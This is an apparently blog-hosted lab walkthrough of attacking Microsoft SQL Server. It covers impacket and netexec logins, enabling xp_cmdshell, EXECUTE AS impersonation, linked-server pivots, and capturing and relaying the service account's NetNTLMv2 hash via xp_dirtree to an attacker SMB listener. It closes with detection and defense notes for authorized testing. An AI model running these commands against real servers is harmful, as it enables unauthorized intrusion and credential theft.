Attacking MSSQL in a Lab: xp_cmdshell and Linked Servers
A hands-on walkthrough of MSSQL attacks in a lab you own: find and log in to a SQL Server, enumerate privileges, run a benign command with xp_cmdshell, impersonate logins, pivot through linked servers, and capture the service account hash, then shut it all down.
MSSQL attacks are some of the most productive moves you can make once you land inside a Windows network, because a Microsoft SQL Server is rarely just a database. It usually runs as a service account with real rights on the host and often across the domain, it trusts other instances through linked servers, and it ships with built-in procedures that can turn a database login into command execution. This lab walkthrough goes through the chain end to end against a SQL Server you own: discovery and login, enumeration, a benign command through xp_cmdshell, login impersonation, linked server pivots, and reading the service account hash off the wire. It closes on the defender side, because every step here has a clean fix.
Read it top to bottom the first time to build the picture, then keep it open as a reference while you work a lab box. Everything below assumes the host is yours or that you hold written authorization to test it.
Run every command here only against a SQL Server you own or are explicitly authorized to assess, such as a home lab or a box on the 10.10.10.0/24 range used in this post. Testing a database you do not have written permission to assess is a crime. This is written for defenders and for authorized testing, nothing else.
01Why MSSQL is a high-value target inside a Windows network
MSSQL is a high-value target because a SQL Server sits where data, identity, and code execution meet on a Windows network. The service almost always runs under a dedicated account, and that account is frequently given more than it needs: a domain user at minimum, sometimes a local administrator on the host, and in badly run environments a domain admin. Anything you make the server do, it does as that account.
On top of the account, SQL Server carries extended stored procedures that reach outside the database engine. One can run operating system commands. Others touch the filesystem, including UNC paths, which matters later. Linked servers let one instance query another using stored credentials, which turns a single foothold into a map of trust across the estate. None of this is a bug. It is documented behavior that becomes a problem when a login you control has more rights than the business actually needs it to have.
02Discovery and login with impacket and netexec
Discovery starts by proving a SQL Server is listening, then getting a session on it. The default instance answers on TCP 1433, and the SQL Browser service answers on UDP 1434 so clients can find named instances. A short service scan confirms both.
# 0xpriv.dev/labs find SQL Server on the lab range nmap -p 1433 -sV --open 10.10.10.0/24 nmap -sU -p 1434 --script ms-sql-info 10.10.10.5
With a host confirmed, you log in. SQL Server accepts two kinds of credentials, and both matter. SQL authentication uses a login and password stored in the database itself, with sa as the classic built-in sysadmin. Windows authentication hands the server a domain or local account and lets Windows vouch for it. Impacket's mssqlclient speaks both, and it is part of the wider impacket toolkit.
$ # SQL auth with a local login such as sa $ impacket-mssqlclient sa:'LabPass123'@10.10.10.5 [*] Encryption required, switching to TLS [*] ACK: Result: 1 - Microsoft SQL Server (150) SQL (sa dbo@master)> $ # Windows auth with a domain account $ impacket-mssqlclient LAB/svc_sql:'LabPass123'@10.10.10.5 -windows-auth SQL (LAB\svc_sql dbo@master)>
netexec is the quicker way to check a credential across many hosts and to run a single query without an interactive session. Its mssql protocol takes the same auth choices.
# check a credential across the range (local SQL auth) nxc mssql 10.10.10.0/24 -u sa -p 'LabPass123' --local-auth # domain auth, then read the version non-interactively nxc mssql 10.10.10.5 -u svc_sql -p 'LabPass123' -d LAB -q "SELECT @@version"
If you already hold domain creds, start with Windows auth, since a domain login often maps to a SQL login with real rights. If you only recovered an sa password from a config file, use SQL auth. netexec flags an account as Pwn3d! when it has sysadmin, which tells you right away whether the later steps apply.
03Enumerating databases, logins and privileges
Enumeration answers one question before anything else: what can this login actually do? A session as a low-privilege login is a different box than a session as sysadmin, so check your own rights first, then map the databases and logins around you.
-- who am I, and am I sysadmin? SELECT SYSTEM_USER AS login_name, USER_NAME() AS db_user; SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sa; -- every database on the instance SELECT name, database_id FROM sys.databases ORDER BY database_id; -- server logins and the account type behind each SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U','G'); -- effective server-level permissions for the current login SELECT permission_name, state_desc FROM fn_my_permissions(NULL, 'SERVER');
If is_sa comes back as 1 you already have the instance and can move to command execution. If it comes back 0, the following sections are the point: you look for a login you can impersonate or a linked server that runs you as something better. Note which logins are enabled and which hold high-value roles, because those are the targets for the climb.
04Command execution via xp_cmdshell
Command execution through xp_cmdshell is the headline MSSQL attack, and it needs sysadmin rights. The procedure runs an operating system command as the SQL Server service account and returns the output as rows. It ships disabled on supported versions, so a sysadmin has to switch it on first, which is itself a loud, logged, and easily audited action.
-- enable xp_cmdshell (requires sysadmin), then run a benign check EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- a harmless identity check, nothing destructive EXEC xp_cmdshell 'whoami';
SQL> EXEC xp_cmdshell 'whoami'; output --------------------------- lab\svc_sql NULL
That single line of output is the whole point of the technique: the command ran as lab\svc_sql, the service account, not as you. From here an operator would normally confirm the context and stop, because the aim of a lab exercise is to prove the path, not to run anything damaging. mssqlclient also exposes a shortcut, enable_xp_cmdshell, that wraps the two sp_configure calls above, and netexec has -x to run a single command in one line.
# netexec runs one benign command through xp_cmdshell nxc mssql 10.10.10.5 -u sa -p 'LabPass123' --local-auth -x "whoami"
Enabling xp_cmdshell changes server configuration. In a real authorized test you note the original state and set it back with EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; when you are done, and you record the change in your report.
05Other execution paths: OLE automation and sp_OACreate
Other execution paths exist for when xp_cmdshell is switched off or watched, and the best known is OLE Automation. At a high level, SQL Server can instantiate Windows COM objects from inside a query through a set of procedures that begin with sp_OA, and one of those objects can spawn a process. Like xp_cmdshell it is a sysadmin-only feature that is disabled by default and toggled with sp_configure, so turning it on is just as visible to a defender.
-- high level only: OLE Automation is the fallback feature to enable EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -- sp_OACreate / sp_OAMethod then instantiate a COM object to run a command
The detail worth keeping is that this is a second lever on the same door, not a bypass of the privilege model. It still needs sysadmin, it still flips a server setting, and it still runs as the service account. A defender who watches sp_configure and extended stored procedure usage catches both paths with the same alert, which is why the fix later in this post covers the whole class rather than one procedure.
06Impersonation with EXECUTE AS LOGIN to climb privileges
Impersonation is how you climb when your own login is not sysadmin. SQL Server lets one login run statements in the context of another with EXECUTE AS LOGIN, provided your login has been granted IMPERSONATE on the target. This is a common misconfiguration, because application logins are sometimes granted impersonation rights over a high-privilege login for convenience, and that grant is exactly the path up.
-- which logins am I allowed to impersonate? SELECT dp.name AS can_impersonate FROM sys.server_permissions pe JOIN sys.server_principals dp ON pe.grantor_principal_id = dp.principal_id WHERE pe.permission_name = 'IMPERSONATE'; -- borrow sa's context, confirm, then hand it back EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER AS now_running_as, IS_SRVROLEMEMBER('sysadmin') AS is_sa; REVERT;
SQL> SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin'); appuser 0 SQL> EXECUTE AS LOGIN = 'sa'; SQL> SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin'); sa 1
Once is_sa reads 1 inside the impersonated context, every sysadmin-only feature in the earlier sections is back on the table, including xp_cmdshell. REVERT drops you back to your real login, which is good hygiene during a test so you always know which context a statement ran in.
07Linked servers: enumerate, pivot and chain trust
Linked servers are the pivot that makes MSSQL attacks spread. A linked server is a stored connection from one instance to another, set up by an administrator so queries can read remote data. The catch is the credential: the link runs as a fixed login on the remote side, and that login is sometimes sysadmin there. If you can query through the link, you inherit whatever that remote login can do.
-- list the configured links and their remote login mapping EXEC sp_linkedservers; SELECT name, is_rpc_out_enabled FROM sys.servers WHERE is_linked = 1;
There are two ways to run a query on the far side. OPENQUERY sends a query string across the link and returns the rows. If the link has RPC Out enabled, EXEC ... AT runs a statement directly on the remote instance, which is the more flexible of the two.
-- read the remote context through the link SELECT * FROM OPENQUERY([SQL02], 'SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')'); -- with RPC Out enabled, run directly on the remote instance EXEC ('SELECT SYSTEM_USER') AT [SQL02];
The powerful part is chaining. If SQL02 itself links to SQL03, you can nest the calls and reach an instance you have no direct network path to, hopping along the trust the administrators built. Each hop runs as that link's configured login, so a chain of links mapped to sysadmin is a chain of full compromises.
08Capturing the service account NetNTLM hash with xp_dirtree
Capturing the service account hash turns a database foothold into a credential. Several MSSQL procedures take a path argument and will happily take a UNC path pointing at a host you control. When the server tries to reach that path over SMB, it authenticates as the service account, and that authentication carries a NetNTLMv2 response you can record. xp_dirtree is the usual choice because any login with execute rights on it can call it, so you do not need sysadmin.
Stand up a listener first, then point the server at it. Impacket's smbserver or ntlmrelayx both work as the catcher.
$ # listener on the attacker host at 10.10.10.50 $ impacket-smbserver share ./loot -smb2support [*] Config file parsed [*] Incoming connection (10.10.10.5,49762) [*] AUTHENTICATE_MESSAGE (LAB\svc_sql,SQL01) [*] Hash: svc_sql::LAB:1122...:8f3a...:0101000000...
-- make the server reach out to your listener (UNC path, your IP)
EXEC master..xp_dirtree '\\10.10.10.50\share', 1, 1;Now you have a NetNTLMv2 hash for the service account, and there are two ways forward. You can crack it offline, which works well when the account password is weak. Or, if SMB signing is not enforced on another host, you can relay the authentication straight to that host instead of cracking it, using the authentication live rather than recovering the password.
# crack NetNTLMv2 offline (hashcat mode 5600) hashcat -m 5600 svc_sql_netntlmv2.txt rockyou.txt # or relay it live to a host without SMB signing impacket-ntlmrelayx -t smb://10.10.10.7 -smb2support
Point hashcat at a local wordlist and your own hardware. Nothing in the cracking step touches the target, and in a lab the password is one you set, so this is purely about demonstrating the recovery path.
09A worked walkthrough on 10.10.10.0/24
This walkthrough ties the pieces together against a single lab instance, MSSQL on 10.10.10.5, so the order is concrete. Treat it as the shape of an engagement rather than a script to paste, since real boxes vary at every step.
Find the service
Scan 10.10.10.0/24 for 1433 and confirm 10.10.10.5 is a SQL Server with the nmap service and info scripts.
Get a session
Log in with the credential you recovered, SQL auth or Windows auth, using mssqlclient, and confirm the login with netexec across the range.
Check your rights
Run the enumeration queries. Read IS_SRVROLEMEMBER('sysadmin') and list the logins you can impersonate.
Climb if needed
Not sysadmin yet? Use EXECUTE AS LOGIN on an impersonable high-privilege login, or query a linked server mapped to sysadmin on another instance.
Prove execution
As sysadmin, enable xp_cmdshell and run a benign whoami to confirm you are the service account. Record the config change.
Collect a credential
Fire xp_dirtree at your SMB listener, capture the NetNTLMv2 hash, and crack or relay it. Then set xp_cmdshell back off and write it up.
10Detecting MSSQL attacks
Detecting MSSQL attacks is realistic because almost every step leaves a distinct trace, and a SQL audit that watches the right events catches the chain early. The strongest single signal is configuration change: any call to sp_configure that flips xp_cmdshell or Ole Automation Procedures should be rare and should page someone when it happens outside a change window.
| Signal | What it usually means |
|---|---|
| sp_configure toggling xp_cmdshell | An operator is enabling command execution |
| Extended procedure calls (xp_cmdshell, xp_dirtree, sp_OACreate) | Execution or outbound auth from the engine |
| Outbound SMB from the SQL host to an internal IP | xp_dirtree hash capture against a listener |
| Bursts of failed logins (error 18456) | Password spraying against SQL auth |
| EXECUTE AS followed by sysadmin-only actions | A low-privilege login impersonating up |
SQL Server Audit writes these to a log you can ship to a SIEM, and the network side is just as useful: a database server has no business opening SMB sessions to random internal hosts, so outbound 445 from the SQL box is a clean alert on its own. Odd and failed logins round out the picture, since both spraying and impersonation show up in the login history.
11Defending MSSQL: how to shut it down
Defending MSSQL comes down to removing the privilege and the reach that each step above depended on. None of these are exotic, and together they close the whole chain rather than one procedure.
12FAQ
Do I need sysadmin to run xp_cmdshell?FAQ
Yes. Enabling and calling xp_cmdshell requires membership in the sysadmin server role. If your login is not sysadmin, the realistic routes up are impersonating a login that is, through EXECUTE AS, or querying a linked server whose remote mapping is sysadmin on another instance.
Why would xp_dirtree make the server send credentials?FAQ
xp_dirtree takes a path and lists its contents. Point it at a UNC path such as a share on your host, and the server opens an SMB connection to reach it. Windows authenticates that connection automatically as the SQL service account, and the NetNTLMv2 response in that handshake is what you capture on a listener.
What is the difference between OPENQUERY and EXEC AT on a linked server?FAQ
OPENQUERY sends a query string across the link and returns rows, and it works whenever the link is readable. EXEC ('...') AT runs a statement directly on the remote instance and is more flexible, but it needs RPC Out enabled on the link. Both run as the link's configured remote login.
Is enabling xp_cmdshell detectable?FAQ
Very. The sp_configure change that turns it on is a specific, rare event that SQL Server Audit records, and the subsequent command execution is visible too. A defender who alerts on that one configuration change catches the technique at the moment it is set up.
How do I undo my changes after a lab exercise?FAQ
Set the feature back to its original state. If xp_cmdshell was off before you started, run EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; when you finish, do the same for any other option you toggled, and record every change in your notes or report.
references
Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.